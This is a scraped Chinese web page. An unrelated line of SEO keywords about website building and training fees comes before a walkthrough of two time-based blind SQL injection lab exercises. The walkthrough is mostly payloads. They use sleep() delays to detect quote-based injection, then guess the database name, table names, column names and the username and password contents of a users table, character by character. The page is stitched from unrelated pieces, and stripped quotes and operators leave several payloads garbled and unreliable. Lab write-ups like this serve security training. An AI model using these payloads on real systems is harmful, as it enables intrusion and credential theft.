公司网站域名如何建立,网站建设是自己做好还是外包,wordpress显示段落,cad培训班一般学费多少钱第九题 ?id1 and 11 页面正常 ?id1 and 12 页面正常 ?id1 and 11 页面正常 ?id1 and 12 页面正常 输入任何信息#xff0c;均显示相同页面#xff0c;尝试延时注入判断 ?id1 and if(11,sleep(5),1)-- 页面迅速显示 ?id1 and if(11,sleep(5),1)-- 页面过了5秒显示 判断为…第九题 ?id1 and 11 页面正常 ?id1 and 12 页面正常 ?id1 and 11 页面正常 ?id1 and 12 页面正常 输入任何信息均显示相同页面尝试延时注入判断 ?id1 and if(11,sleep(5),1)-- 页面迅速显示 ?id1 and if(11,sleep(5),1)-- 页面过了5秒显示 判断为单引号注入
延时注入
判断数据库名字长度 ?id1 and if(length(database())8,sleep(3),1)-- 逐一猜解数据库名字用二分法 ascii码不断缩小范围 ?id1 and if(ascii(mid((select database()),1,1))115,sleep(3),1)-- 判断所有表名长度 ?id1 and if(length((select group_concat(table_name) from information_schema.tables where table_schemadatabase()))10,sleep(3),1)-- 逐一猜解表名 ?id1 and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,1))64,sleep(3),1)-- 判断所有字段名的长度 ?id1and if(length((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers))20,sleep(3),1)-- 逐一猜解字段名 ?id1and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),1,1))100,sleep(3),1)-- 判断字段内容长度 ?id1 and if(length((select group_concat(username,password) from users))109,sleep(3),1)-- 逐一检测内容 ?id1 and if(ascii(mid((select group_concat(username,password) from users),1,1))50,sleep(3),1)-- 第十题
和第九题情况相同无论输入什么回显内容均相同
进行延时注入判断 ?id1 and if(11,sleep(5),1)-- 页面迅速显示 ?id1 and if(11,sleep(5),1)-- 页面过了5秒显示 判断为双引号注入
剩余步骤与第九题相同
